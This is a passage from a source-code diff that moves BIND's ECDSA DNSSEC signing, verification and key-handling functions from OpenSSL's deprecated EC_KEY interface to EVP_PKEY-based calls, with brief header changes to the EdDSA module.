+	return (ret);
 }
 
 static isc_result_t
@@ -148,20 +669,15 @@ opensslecdsa_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 	isc_result_t ret;
 	dst_key_t *key = dctx->key;
 	isc_region_t region;
-	ECDSA_SIG *ecdsasig;
 	EVP_MD_CTX *evp_md_ctx = dctx->ctxdata.evp_md_ctx;
-	EVP_PKEY *pkey = key->keydata.pkey;
-	EC_KEY *eckey = EVP_PKEY_get1_EC_KEY(pkey);
-	unsigned int dgstlen, siglen;
-	unsigned char digest[EVP_MAX_MD_SIZE];
+	ECDSA_SIG *ecdsasig = NULL;
+	size_t siglen, sigder_len = 0, sigder_alloced = 0;
+	unsigned char *sigder = NULL;
+	const unsigned char *sigder_copy;
 	const BIGNUM *r, *s;
 
-	REQUIRE(key->key_alg == DST_ALG_ECDSA256 ||
-		key->key_alg == DST_ALG_ECDSA384);
-
-	if (eckey == NULL) {
-		return (ISC_R_FAILURE);
-	}
+	REQUIRE(opensslecdsa_valid_key_alg(key->key_alg));
+	REQUIRE(dctx->use == DO_SIGN);
 
 	if (key->key_alg == DST_ALG_ECDSA256) {
 		siglen = DNS_SIG_ECDSA256SIZE;
@@ -174,16 +690,25 @@ opensslecdsa_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 		DST_RET(ISC_R_NOSPACE);
 	}
 
-	if (!EVP_DigestFinal_ex(evp_md_ctx, digest, &dgstlen)) {
+	if (EVP_DigestSignFinal(evp_md_ctx, NULL, &sigder_len) != 1) {
 		DST_RET(dst__openssl_toresult3(
-			dctx->category, "EVP_DigestFinal_ex", ISC_R_FAILURE));
+			dctx->category, "EVP_DigestSignFinal", ISC_R_FAILURE));
 	}
-
-	ecdsasig = ECDSA_do_sign(digest, dgstlen, eckey);
-	if (ecdsasig == NULL) {
-		DST_RET(dst__openssl_toresult3(dctx->category, "ECDSA_do_sign",
-					       DST_R_SIGNFAILURE));
+	if (sigder_len == 0) {
+		DST_RET(ISC_R_FAILURE);
 	}
+	sigder = isc_mem_get(dctx->mctx, sigder_len);
+	sigder_alloced = sigder_len;
+	if (EVP_DigestSignFinal(evp_md_ctx, sigder, &sigder_len) != 1) {
+		DST_RET(dst__openssl_toresult3(
+			dctx->category, "EVP_DigestSignFinal", ISC_R_FAILURE));
+	}
+	sigder_copy = sigder;
+	if (d2i_ECDSA_SIG(&ecdsasig, &sigder_copy, sigder_len) == NULL) {
+		DST_RET(dst__openssl_toresult3(dctx->category, "d2i_ECDSA_SIG",
+					       ISC_R_FAILURE));
+	}
+
 	ECDSA_SIG_get0(ecdsasig, &r, &s);
 	BN_bn2bin_fixed(r, region.base, siglen / 2);
 	isc_region_consume(&region, siglen / 2);
@@ -194,7 +719,10 @@ opensslecdsa_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 	ret = ISC_R_SUCCESS;
 
 err:
-	EC_KEY_free(eckey);
+	if (sigder != NULL && sigder_alloced != 0) {
+		isc_mem_put(dctx->mctx, sigder, sigder_alloced);
+	}
+
 	return (ret);
 }
 
@@ -206,18 +734,13 @@ opensslecdsa_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	unsigned char *cp = sig->base;
 	ECDSA_SIG *ecdsasig = NULL;
 	EVP_MD_CTX *evp_md_ctx = dctx->ctxdata.evp_md_ctx;
-	EVP_PKEY *pkey = key->keydata.pkey;
-	EC_KEY *eckey = EVP_PKEY_get1_EC_KEY(pkey);
-	unsigned int dgstlen, siglen;
-	unsigned char digest[EVP_MAX_MD_SIZE];
+	size_t siglen, sigder_len = 0, sigder_alloced = 0;
+	unsigned char *sigder = NULL;
+	unsigned char *sigder_copy;
 	BIGNUM *r = NULL, *s = NULL;
 
-	REQUIRE(key->key_alg == DST_ALG_ECDSA256 ||
-		key->key_alg == DST_ALG_ECDSA384);
-
-	if (eckey == NULL) {
-		return (ISC_R_FAILURE);
-	}
+	REQUIRE(opensslecdsa_valid_key_alg(key->key_alg));
+	REQUIRE(dctx->use == DO_VERIFY);
 
 	if (key->key_alg == DST_ALG_ECDSA256) {
 		siglen = DNS_SIG_ECDSA256SIZE;
@@ -226,25 +749,38 @@ opensslecdsa_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	}
 
 	if (sig->length != siglen) {
-		return (DST_R_VERIFYFAILURE);
-	}
-
-	if (!EVP_DigestFinal_ex(evp_md_ctx, digest, &dgstlen)) {
-		DST_RET(dst__openssl_toresult3(
-			dctx->category, "EVP_DigestFinal_ex", ISC_R_FAILURE));
+		DST_RET(DST_R_VERIFYFAILURE);
 	}
 
 	ecdsasig = ECDSA_SIG_new();
 	if (ecdsasig == NULL) {
-		DST_RET(ISC_R_NOMEMORY);
+		DST_RET(dst__openssl_toresult(ISC_R_NOMEMORY));
 	}
 	r = BN_bin2bn(cp, siglen / 2, NULL);
 	cp += siglen / 2;
 	s = BN_bin2bn(cp, siglen / 2, NULL);
-	ECDSA_SIG_set0(ecdsasig, r, s);
 	/* cp += siglen / 2; */
+	ECDSA_SIG_set0(ecdsasig, r, s);
+
+	status = i2d_ECDSA_SIG(ecdsasig, NULL);
+	if (status < 0) {
+		DST_RET(dst__openssl_toresult3(dctx->category, "i2d_ECDSA_SIG",
+					       DST_R_VERIFYFAILURE));
+	}
+
+	sigder_len = (size_t)status;
+	sigder = isc_mem_get(dctx->mctx, sigder_len);
+	sigder_alloced = sigder_len;
+
+	sigder_copy = sigder;
+	status = i2d_ECDSA_SIG(ecdsasig, &sigder_copy);
+	if (status < 0) {
+		DST_RET(dst__openssl_toresult3(dctx->category, "i2d_ECDSA_SIG",
+					       DST_R_VERIFYFAILURE));
+	}
+
+	status = EVP_DigestVerifyFinal(evp_md_ctx, sigder, sigder_len);
 
-	status = ECDSA_do_verify(digest, dgstlen, ecdsasig, eckey);
 	switch (status) {
 	case 1:
 		ret = ISC_R_SUCCESS;
@@ -253,7 +789,8 @@ opensslecdsa_verify(dst_context_t *dctx, const isc_region_t *sig) {
 		ret = dst__openssl_toresult(DST_R_VERIFYFAILURE);
 		break;
 	default:
-		ret = dst__openssl_toresult3(dctx->category, "ECDSA_do_verify",
+		ret = dst__openssl_toresult3(dctx->category,
+					     "EVP_DigestVerifyFinal",
 					     DST_R_VERIFYFAILURE);
 		break;
 	}
@@ -262,274 +799,121 @@ opensslecdsa_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	if (ecdsasig != NULL) {
 		ECDSA_SIG_free(ecdsasig);
 	}
-	EC_KEY_free(eckey);
-	return (ret);
-}
-
-static bool
-opensslecdsa_compare(const dst_key_t *key1, const dst_key_t *key2) {
-	bool ret;
-	int status;
-	EVP_PKEY *pkey1 = key1->keydata.pkey;
-	EVP_PKEY *pkey2 = key2->keydata.pkey;
-	EC_KEY *eckey1 = NULL;
-	EC_KEY *eckey2 = NULL;
-	const BIGNUM *priv1, *priv2;
-
-	if (pkey1 == NULL && pkey2 == NULL) {
-		return (true);
-	} else if (pkey1 == NULL || pkey2 == NULL) {
-		return (false);
-	}
-
-	eckey1 = EVP_PKEY_get1_EC_KEY(pkey1);
-	eckey2 = EVP_PKEY_get1_EC_KEY(pkey2);
-	if (eckey1 == NULL && eckey2 == NULL) {
-		DST_RET(true);
-	} else if (eckey1 == NULL || eckey2 == NULL) {
-		DST_RET(false);
-	}
-
-	status = EVP_PKEY_cmp(pkey1, pkey2);
-	if (status != 1) {
-		DST_RET(false);
-	}
-
-	priv1 = EC_KEY_get0_private_key(eckey1);
-	priv2 = EC_KEY_get0_private_key(eckey2);
-	if (priv1 != NULL || priv2 != NULL) {
-		if (priv1 == NULL || priv2 == NULL) {
-			DST_RET(false);
-		}
-		if (BN_cmp(priv1, priv2) != 0) {
-			DST_RET(false);
-		}
+	if (sigder != NULL && sigder_alloced != 0) {
+		isc_mem_put(dctx->mctx, sigder, sigder_alloced);
 	}
-	ret = true;
 
-err:
-	if (eckey1 != NULL) {
-		EC_KEY_free(eckey1);
-	}
-	if (eckey2 != NULL) {
-		EC_KEY_free(eckey2);
-	}
 	return (ret);
 }
 
 static isc_result_t
 opensslecdsa_generate(dst_key_t *key, int unused, void (*callback)(int)) {
 	isc_result_t ret;
-	EVP_PKEY *pkey;
-	EC_KEY *eckey = NULL;
-	int group_nid;
+	EVP_PKEY *pkey = NULL;
 
-	REQUIRE(key->key_alg == DST_ALG_ECDSA256 ||
-		key->key_alg == DST_ALG_ECDSA384);
+	REQUIRE(opensslecdsa_valid_key_alg(key->key_alg));
 	UNUSED(unused);
 	UNUSED(callback);
 
-	if (key->key_alg == DST_ALG_ECDSA256) {
-		group_nid = NID_X9_62_prime256v1;
-		key->key_size = DNS_KEY_ECDSA256SIZE * 4;
-	} else {
-		group_nid = NID_secp384r1;
-		key->key_size = DNS_KEY_ECDSA384SIZE * 4;
-	}
-
-	eckey = EC_KEY_new_by_curve_name(group_nid);
-	if (eckey == NULL) {
-		return (dst__openssl_toresult2("EC_KEY_new_by_curve_name",
-					       DST_R_OPENSSLFAILURE));
-	}
-
-	if (EC_KEY_generate_key(eckey) != 1) {
-		DST_RET(dst__openssl_toresult2("EC_KEY_generate_key",
-					       DST_R_OPENSSLFAILURE));
-	}
-
-	pkey = EVP_PKEY_new();
-	if (pkey == NULL) {
-		DST_RET(ISC_R_NOMEMORY);
-	}
-	if (!EVP_PKEY_set1_EC_KEY(pkey, eckey)) {
-		EVP_PKEY_free(pkey);
-		DST_RET(ISC_R_FAILURE);
+	ret = opensslecdsa_generate_pkey(key->key_alg, &pkey);
+	if (ret != ISC_R_SUCCESS) {
+		return (ret);
 	}
-	key->keydata.pkey = pkey;
-	ret = ISC_R_SUCCESS;
-
-err:
-	EC_KEY_free(eckey);
-	return (ret);
-}
-
-static bool
-opensslecdsa_isprivate(const dst_key_t *key) {
-	bool ret;
-	EVP_PKEY *pkey = key->keydata.pkey;
-	EC_KEY *eckey = EVP_PKEY_get1_EC_KEY(pkey);
 
-	ret = (eckey != NULL && EC_KEY_get0_private_key(eckey) != NULL);
-	if (eckey != NULL) {
-		EC_KEY_free(eckey);
-	}
+	key->key_size = EVP_PKEY_bits(pkey);
+	key->keydata.pkeypair.priv = pkey;
+	key->keydata.pkeypair.pub = pkey;
 	return (ret);
 }
 
-static void
-opensslecdsa_destroy(dst_key_t *key) {
-	EVP_PKEY *pkey = key->keydata.pkey;
-
-	EVP_PKEY_free(pkey);
-	key->keydata.pkey = NULL;
-}
-
 static isc_result_t
 opensslecdsa_todns(const dst_key_t *key, isc_buffer_t *data) {
 	isc_result_t ret;
-	EVP_PKEY *pkey;
-	EC_KEY *eckey = NULL;
 	isc_region_t r;
-	int len;
-	unsigned char *cp;
-	unsigned char buf[DNS_KEY_ECDSA384SIZE + 1];
+	size_t keysize;
 
-	REQUIRE(key->keydata.pkey != NULL);
-
-	pkey = key->keydata.pkey;
-	eckey = EVP_PKEY_get1_EC_KEY(pkey);
-	if (eckey == NULL) {
-		return (dst__openssl_toresult(ISC_R_FAILURE));
-	}
-	len = i2o_ECPublicKey(eckey, NULL);
-	/* skip form */
-	len--;
+	REQUIRE(opensslecdsa_valid_key_alg(key->key_alg));
+	REQUIRE(key->keydata.pkeypair.pub != NULL);
 
+	keysize = opensslecdsa_key_alg_to_publickey_size(key->key_alg);
 	isc_buffer_availableregion(data, &r);
-	if (r.length < (unsigned int)len) {
+	if (r.length < keysize) {
 		DST_RET(ISC_R_NOSPACE);
 	}
-	cp = buf;
-	if (!i2o_ECPublicKey(eckey, &cp)) {
-		DST_RET(dst__openssl_toresult(ISC_R_FAILURE));
+	if (!opensslecdsa_extract_public_key(key, r.base, keysize)) {
+		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
 	}
-	memmove(r.base, buf + 1, len);
-	isc_buffer_add(data, len);
+
+	isc_buffer_add(data, keysize);
 	ret = ISC_R_SUCCESS;
 
 err:
-	EC_KEY_free(eckey);
 	return (ret);
 }
 
 static isc_result_t
 opensslecdsa_fromdns(dst_key_t *key, isc_buffer_t *data) {
 	isc_result_t ret;
-	EVP_PKEY *pkey;
-	EC_KEY *eckey = NULL;
+	EVP_PKEY *pkey = NULL;
 	isc_region_t r;
-	int group_nid;
-	unsigned int len;
-	const unsigned char *cp;
-	unsigned char buf[DNS_KEY_ECDSA384SIZE + 1];
+	size_t len;
 
-	REQUIRE(key->key_alg == DST_ALG_ECDSA256 ||
-		key->key_alg == DST_ALG_ECDSA384);
-
-	if (key->key_alg == DST_ALG_ECDSA256) {
-		len = DNS_KEY_ECDSA256SIZE;
-		group_nid = NID_X9_62_prime256v1;
-	} else {
-		len = DNS_KEY_ECDSA384SIZE;
-		group_nid = NID_secp384r1;
-	}
+	REQUIRE(opensslecdsa_valid_key_alg(key->key_alg));
+	len = opensslecdsa_key_alg_to_publickey_size(key->key_alg);
 
 	isc_buffer_remainingregion(data, &r);
 	if (r.length == 0) {
-		return (ISC_R_SUCCESS);
-	}
-	if (r.length < len) {
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-
-	eckey = EC_KEY_new_by_curve_name(group_nid);
-	if (eckey == NULL) {
-		return (dst__openssl_toresult(DST_R_OPENSSLFAILURE));
-	}
-
-	buf[0] = POINT_CONVERSION_UNCOMPRESSED;
-	memmove(buf + 1, r.base, len);
-	cp = buf;
-	if (o2i_ECPublicKey(&eckey, (const unsigned char **)&cp,
-			    (long)len + 1) == NULL) {
-		DST_RET(dst__openssl_toresult(DST_R_INVALIDPUBLICKEY));
+		DST_RET(ISC_R_SUCCESS);
 	}
-	if (EC_KEY_check_key(eckey) != 1) {
-		DST_RET(dst__openssl_toresult(DST_R_INVALIDPUBLICKEY));
+	if (r.length != len) {
+		DST_RET(DST_R_INVALIDPUBLICKEY);
 	}
 
-	pkey = EVP_PKEY_new();
-	if (pkey == NULL) {
-		DST_RET(ISC_R_NOMEMORY);
-	}
-	if (!EVP_PKEY_set1_EC_KEY(pkey, eckey)) {
-		EVP_PKEY_free(pkey);
-		DST_RET(dst__openssl_toresult(ISC_R_FAILURE));
+	ret = opensslecdsa_create_pkey(key->key_alg, false, r.base, len, &pkey);
+	if (ret != ISC_R_SUCCESS) {
+		DST_RET(ret);
 	}
 
 	isc_buffer_forward(data, len);
-	key->keydata.pkey = pkey;
-	key->key_size = len * 4;
+	key->key_size = EVP_PKEY_bits(pkey);
+	key->keydata.pkeypair.pub = pkey;
 	ret = ISC_R_SUCCESS;
 
 err:
-	if (eckey != NULL) {
-		EC_KEY_free(eckey);
-	}
 	return (ret);
 }
 
 static isc_result_t
 opensslecdsa_tofile(const dst_key_t *key, const char *directory) {
 	isc_result_t ret;
-	EVP_PKEY *pkey;
-	EC_KEY *eckey = NULL;
-	const BIGNUM *privkey;
 	dst_private_t priv;
-	unsigned char *buf = NULL;
+	unsigned char buf[MAX_PRIVKEY_SIZE];
+	size_t keylen = 0;
 	unsigned short i;
 
-	if (key->keydata.pkey == NULL) {
-		return (DST_R_NULLKEY);
+	if (key->keydata.pkeypair.pub == NULL) {
+		DST_RET(DST_R_NULLKEY);
 	}
 
 	if (key->external) {
 		priv.nelements = 0;
-		return (dst__privstruct_writefile(key, &priv, directory));
+		DST_RET(dst__privstruct_writefile(key, &priv, directory));
 	}
 
-	pkey = key->keydata.pkey;
-	eckey = EVP_PKEY_get1_EC_KEY(pkey);
-	if (eckey == NULL) {
-		return (dst__openssl_toresult(DST_R_OPENSSLFAILURE));
-	}
-	privkey = EC_KEY_get0_private_key(eckey);
-	if (privkey == NULL) {
-		ret = dst__openssl_toresult(DST_R_OPENSSLFAILURE);
-		goto err;
+	if (key->keydata.pkeypair.priv == NULL) {
+		DST_RET(DST_R_NULLKEY);
 	}
 
-	buf = isc_mem_get(key->mctx, BN_num_bytes(privkey));
+	keylen = opensslecdsa_key_alg_to_publickey_size(key->key_alg) / 2;
+	INSIST(keylen <= sizeof(buf));
 
 	i = 0;
-
-	priv.elements[i].tag = TAG_ECDSA_PRIVATEKEY;
-	priv.elements[i].length = BN_num_bytes(privkey);
-	BN_bn2bin(privkey, buf);
-	priv.elements[i].data = buf;
-	i++;
-
+	if (opensslecdsa_extract_private_key(key, buf, keylen)) {
+		priv.elements[i].tag = TAG_ECDSA_PRIVATEKEY;
+		priv.elements[i].length = keylen;
+		priv.elements[i].data = buf;
+		i++;
+	}
 	if (key->engine != NULL) {
 		priv.elements[i].tag = TAG_ECDSA_ENGINE;
 		priv.elements[i].length = (unsigned short)strlen(key->engine) +
@@ -550,119 +934,10 @@ opensslecdsa_tofile(const dst_key_t *key, const char *directory) {
 	ret = dst__privstruct_writefile(key, &priv, directory);
 
 err:
-	EC_KEY_free(eckey);
-	if (buf != NULL) {
-		isc_mem_put(key->mctx, buf, BN_num_bytes(privkey));
-	}
+	isc_safe_memwipe(buf, keylen);
 	return (ret);
 }
 
-static isc_result_t
-ecdsa_check(EC_KEY *eckey, EC_KEY *pubeckey) {
-	const EC_POINT *pubkey;
-
-	pubkey = EC_KEY_get0_public_key(eckey);
-	if (pubkey != NULL) {
-		return (ISC_R_SUCCESS);
-	} else if (pubeckey != NULL) {
-		pubkey = EC_KEY_get0_public_key(pubeckey);
-		if (pubkey == NULL) {
-			return (ISC_R_SUCCESS);
-		}
-		if (EC_KEY_set_public_key(eckey, pubkey) != 1) {
-			return (ISC_R_SUCCESS);
-		}
-	}
-	if (EC_KEY_check_key(eckey) == 1) {
-		return (ISC_R_SUCCESS);
-	}
-	return (ISC_R_FAILURE);
-}
-
-static isc_result_t
-load_privkey_from_privstruct(EC_KEY *eckey, dst_private_t *priv) {
-	BIGNUM *privkey = BN_bin2bn(priv->elements[0].data,
-				    priv->elements[0].length, NULL);
-	isc_result_t result = ISC_R_SUCCESS;
-
-	if (privkey == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	if (!EC_KEY_set_private_key(eckey, privkey)) {
-		result = ISC_R_NOMEMORY;
-	}
-
-	BN_clear_free(privkey);
-	return (result);
-}
-
-static isc_result_t
-eckey_to_pkey(EC_KEY *eckey, EVP_PKEY **pkey) {
-	REQUIRE(pkey != NULL && *pkey == NULL);
-
-	*pkey = EVP_PKEY_new();
-	if (*pkey == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-	if (!EVP_PKEY_set1_EC_KEY(*pkey, eckey)) {
-		EVP_PKEY_free(*pkey);
-		*pkey = NULL;
-		return (dst__openssl_toresult(DST_R_OPENSSLFAILURE));
-	}
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-finalize_eckey(dst_key_t *key, EC_KEY *eckey, const char *engine,
-	       const char *label) {
-	isc_result_t result = ISC_R_SUCCESS;
-	EVP_PKEY *pkey = NULL;
-
-	result = eckey_to_pkey(eckey, &pkey);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	key->keydata.pkey = pkey;
-
-	if (label != NULL) {
-		key->label = isc_mem_strdup(key->mctx, label);
-		key->engine = isc_mem_strdup(key->mctx, engine);
-	}
-
-	if (key->key_alg == DST_ALG_ECDSA256) {
-		key->key_size = DNS_KEY_ECDSA256SIZE * 4;
-	} else {
-		key->key_size = DNS_KEY_ECDSA384SIZE * 4;
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-dst__key_to_eckey(dst_key_t *key, EC_KEY **eckey) {
-	REQUIRE(eckey != NULL && *eckey == NULL);
-
-	int group_nid;
-	switch (key->key_alg) {
-	case DST_ALG_ECDSA256:
-		group_nid = NID_X9_62_prime256v1;
-		break;
-	case DST_ALG_ECDSA384:
-		group_nid = NID_secp384r1;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-	*eckey = EC_KEY_new_by_curve_name(group_nid);
-	if (*eckey == NULL) {
-		return (dst__openssl_toresult(DST_R_OPENSSLFAILURE));
-	}
-	return (ISC_R_SUCCESS);
-}
-
 static isc_result_t
 opensslecdsa_fromlabel(dst_key_t *key, const char *engine, const char *label,
 		       const char *pin);
@@ -670,29 +945,30 @@ opensslecdsa_fromlabel(dst_key_t *key, const char *engine, const char *label,
 static isc_result_t
 opensslecdsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 	dst_private_t priv;
-	isc_result_t result = ISC_R_SUCCESS;
-	EC_KEY *eckey = NULL;
-	EC_KEY *pubeckey = NULL;
+	isc_result_t ret;
+	EVP_PKEY *pkey = NULL;
 	const char *engine = NULL;
 	const char *label = NULL;
 	int i, privkey_index = -1;
-	bool finalize_key = false;
+
+	REQUIRE(opensslecdsa_valid_key_alg(key->key_alg));
 
 	/* read private key file */
-	result = dst__privstruct_parse(key, DST_ALG_ECDSA256, lexer, key->mctx,
-				       &priv);
-	if (result != ISC_R_SUCCESS) {
-		goto end;
+	ret = dst__privstruct_parse(key, DST_ALG_ECDSA256, lexer, key->mctx,
+				    &priv);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
 	}
 
 	if (key->external) {
 		if (priv.nelements != 0 || pub == NULL) {
-			result = DST_R_INVALIDPRIVATEKEY;
-			goto end;
+			DST_RET(dst__openssl_toresult(DST_R_INVALIDPRIVATEKEY));
 		}
-		key->keydata.pkey = pub->keydata.pkey;
-		pub->keydata.pkey = NULL;
-		goto end;
+		key->keydata.pkeypair.priv = pub->keydata.pkeypair.priv;
+		key->keydata.pkeypair.pub = pub->keydata.pkeypair.pub;
+		pub->keydata.pkeypair.priv = NULL;
+		pub->keydata.pkeypair.pub = NULL;
+		DST_RET(ISC_R_SUCCESS);
 	}
 
 	for (i = 0; i < priv.nelements; i++) {
@@ -711,158 +987,90 @@ opensslecdsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 		}
 	}
 
-	if (privkey_index < 0) {
-		result = DST_R_INVALIDPRIVATEKEY;
-		goto end;
-	}
-
 	if (label != NULL) {
-		result = opensslecdsa_fromlabel(key, engine, label, NULL);
-		if (result != ISC_R_SUCCESS) {
-			goto end;
-		}
-
-		eckey = EVP_PKEY_get1_EC_KEY(key->keydata.pkey);
-		if (eckey == NULL) {
-			result = dst__openssl_toresult(DST_R_OPENSSLFAILURE);
-			goto end;
-		}
-
-	} else {
-		result = dst__key_to_eckey(key, &eckey);
-		if (result != ISC_R_SUCCESS) {
-			goto end;
+		ret = opensslecdsa_fromlabel(key, engine, label, NULL);
+		if (ret != ISC_R_SUCCESS) {
+			goto err;
 		}
-
-		result = load_privkey_from_privstruct(eckey, &priv);
-		if (result != ISC_R_SUCCESS) {
-			goto end;
+		/* Check that the public component matches if given */
+		if (pub != NULL && EVP_PKEY_eq(key->keydata.pkeypair.pub,
+					       pub->keydata.pkeypair.pub) != 1)
+		{
+			DST_RET(DST_R_INVALIDPRIVATEKEY);
 		}
-
-		finalize_key = true;
+		DST_RET(ISC_R_SUCCESS);
 	}
 
-	if (pub != NULL && pub->keydata.pkey != NULL) {
-		pubeckey = EVP_PKEY_get1_EC_KEY(pub->keydata.pkey);
+	if (privkey_index < 0) {
+		DST_RET(dst__openssl_toresult(DST_R_INVALIDPRIVATEKEY));
 	}
 
-	if (ecdsa_check(eckey, pubeckey) != ISC_R_SUCCESS) {
-		result = DST_R_INVALIDPRIVATEKEY;
-		goto end;
+	ret = opensslecdsa_create_pkey(
+		key->key_alg, true, priv.elements[privkey_index].data,
+		priv.elements[privkey_index].length, &pkey);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
 	}
 
-	if (finalize_key) {
-		result = finalize_eckey(key, eckey, engine, label);
+	/* Check that the public component matches if given */
+	if (pub != NULL && EVP_PKEY_eq(pkey, pub->keydata.pkeypair.pub) != 1) {
+		DST_RET(DST_R_INVALIDPRIVATEKEY);
 	}
 
-end:
-	if (pubeckey != NULL) {
-		EC_KEY_free(pubeckey);
-	}
-	if (eckey != NULL) {
-		EC_KEY_free(eckey);
+	key->key_size = EVP_PKEY_bits(pkey);
+	key->keydata.pkeypair.priv = pkey;
+	key->keydata.pkeypair.pub = pkey;
+	pkey = NULL;
+
+err:
+	EVP_PKEY_free(pkey);
+	if (ret != ISC_R_SUCCESS) {
+		key->keydata.generic = NULL;
 	}
 	dst__privstruct_free(&priv, key->mctx);
 	isc_safe_memwipe(&priv, sizeof(priv));
-	return (result);
+
+	return (ret);
 }
 
 static isc_result_t
 opensslecdsa_fromlabel(dst_key_t *key, const char *engine, const char *label,
 		       const char *pin) {
-#if !defined(OPENSSL_NO_ENGINE)
-	isc_result_t ret = ISC_R_SUCCESS;
-	ENGINE *e;
-	EC_KEY *eckey = NULL;
-	EC_KEY *pubeckey = NULL;
-	EVP_PKEY *pkey = NULL;
-	EVP_PKEY *pubkey = NULL;
-	int group_nid = 0;
+	EVP_PKEY *privpkey = NULL, *pubpkey = NULL;
+	isc_result_t ret;
 
+	REQUIRE(opensslecdsa_valid_key_alg(key->key_alg));
 	UNUSED(pin);
 
-	if (engine == NULL || label == NULL) {
-		return (DST_R_NOENGINE);
-	}
-	e = dst__openssl_getengine(engine);
-	if (e == NULL) {
-		return (DST_R_NOENGINE);
-	}
-
-	if (key->key_alg == DST_ALG_ECDSA256) {
-		group_nid = NID_X9_62_prime256v1;
-	} else {
-		group_nid = NID_secp384r1;
-	}
-
-	/* Load private key. */
-	pkey = ENGINE_load_private_key(e, label, NULL, NULL);
-	if (pkey == NULL) {
-		return (dst__openssl_toresult2("ENGINE_load_private_key",
-					       DST_R_OPENSSLFAILURE));
-	}
-	/* Check base id, group nid */
-	if (EVP_PKEY_base_id(pkey) != EVP_PKEY_EC) {
-		DST_RET(DST_R_INVALIDPRIVATEKEY);
-	}
-	eckey = EVP_PKEY_get1_EC_KEY(pkey);
-	if (eckey == NULL) {
-		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
-	}
-	if (EC_GROUP_get_curve_name(EC_KEY_get0_group(eckey)) != group_nid) {
-		DST_RET(DST_R_INVALIDPRIVATEKEY);
+	ret = dst__openssl_fromlabel(EVP_PKEY_EC, engine, label, pin, &pubpkey,
+				     &privpkey);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
 	}
 
-	/* Load public key. */
-	pubkey = ENGINE_load_public_key(e, label, NULL, NULL);
-	if (pubkey == NULL) {
-		DST_RET(dst__openssl_toresult2("ENGINE_load_public_key",
-					       DST_R_OPENSSLFAILURE));
-	}
-	/* Check base id, group nid */
-	if (EVP_PKEY_base_id(pubkey) != EVP_PKEY_EC) {
-		DST_RET(DST_R_INVALIDPUBLICKEY);
-	}
-	pubeckey = EVP_PKEY_get1_EC_KEY(pubkey);
-	if (pubeckey == NULL) {
-		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+	ret = opensslecdsa_validate_pkey_group(key->key_alg, privpkey);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
 	}
-	if (EC_GROUP_get_curve_name(EC_KEY_get0_group(pubeckey)) != group_nid) {
-		DST_RET(DST_R_INVALIDPUBLICKEY);
+	ret = opensslecdsa_validate_pkey_group(key->key_alg, pubpkey);
+	if (ret != ISC_R_SUCCESS) {
+		goto err;
 	}
 
-	if (ecdsa_check(eckey, pubeckey) != ISC_R_SUCCESS) {
-		DST_RET(DST_R_INVALIDPRIVATEKEY);
+	if (engine != NULL) {
+		key->engine = isc_mem_strdup(key->mctx, engine);
 	}
-
 	key->label = isc_mem_strdup(key->mctx, label);
-	key->engine = isc_mem_strdup(key->mctx, engine);
-	key->key_size = EVP_PKEY_bits(pkey);
-	key->keydata.pkey = pkey;
-	pkey = NULL;
+	key->key_size = EVP_PKEY_bits(privpkey);
+	key->keydata.pkeypair.priv = privpkey;
+	key->keydata.pkeypair.pub = pubpkey;
+	privpkey = NULL;
+	pubpkey = NULL;
 
 err:
-	if (pubkey != NULL) {
-		EVP_PKEY_free(pubkey);
-	}
-	if (pkey != NULL) {
-		EVP_PKEY_free(pkey);
-	}
-	if (pubeckey != NULL) {
-		EC_KEY_free(pubeckey);
-	}
-	if (eckey != NULL) {
-		EC_KEY_free(eckey);
-	}
-
+	EVP_PKEY_free(privpkey);
+	EVP_PKEY_free(pubpkey);
 	return (ret);
-#else
-	UNUSED(key);
-	UNUSED(engine);
-	UNUSED(label);
-	UNUSED(pin);
-	return (DST_R_NOENGINE);
-#endif
 }
 
 static dst_func_t opensslecdsa_functions = {
@@ -874,11 +1082,11 @@ static dst_func_t opensslecdsa_functions = {
 	opensslecdsa_verify,
 	NULL, /*%< verify2 */
 	NULL, /*%< computesecret */
-	opensslecdsa_compare,
+	dst__openssl_keypair_compare,
 	NULL, /*%< paramcompare */
 	opensslecdsa_generate,
-	opensslecdsa_isprivate,
-	opensslecdsa_destroy,
+	dst__openssl_keypair_isprivate,
+	dst__openssl_keypair_destroy,
 	opensslecdsa_todns,
 	opensslecdsa_fromdns,
 	opensslecdsa_tofile,
diff --git a/lib/dns/openssleddsa_link.c b/lib/dns/openssleddsa_link.c
index f083a6911c..a807638387 100644
--- a/lib/dns/openssleddsa_link.c
+++ b/lib/dns/openssleddsa_link.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,9 +21,6 @@
 #include <openssl/evp.h>
 #include <openssl/objects.h>
 #include <openssl/x509.h>
-#if !defined(OPENSSL_NO_ENGINE)
-#include <openssl/engine.h>
-#endif /* if !defined(OPENSSL_NO_ENGINE) */
 
 #include <isc/mem.h>
 #include <isc/result.h>
@@ -31,11 +30,10 @@
 
 #include <dns/keyvalues.h>
 
-#include <dst/result.h>
-
 #include "dst_internal.h"
 #include "dst_openssl.h"
 #include "dst_parse.h"
+#include "openssl_shim.h"
 
